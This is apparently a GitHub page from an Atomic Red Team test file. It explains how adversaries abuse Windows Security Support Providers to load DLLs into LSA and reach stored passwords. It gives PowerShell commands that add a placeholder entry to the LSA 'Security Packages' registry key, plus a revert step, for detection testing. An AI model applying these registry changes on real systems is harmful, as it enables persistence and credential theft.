Skip to content

Latest commit

 

History

History
47 lines (25 loc) · 2.09 KB

T1547.005.md

File metadata and controls

47 lines (25 loc) · 2.09 KB

T1547.005 - Security Support Provider

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)

Atomic Tests


Atomic Test #1 - Modify SSP configuration in registry

Add a value to a Windows registry SSP key, simulating an adversarial modification of those keys.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
fake_ssp_dll Value added to registry key. Normally refers to a DLL name in C:\Windows\System32. String not-a-ssp

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

# run these in sequence
$SecurityPackages = Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages'
$SecurityPackagesUpdated = $SecurityPackages
$SecurityPackagesUpdated += "#{fake_ssp_dll}"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackagesUpdated

# revert (before reboot)
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages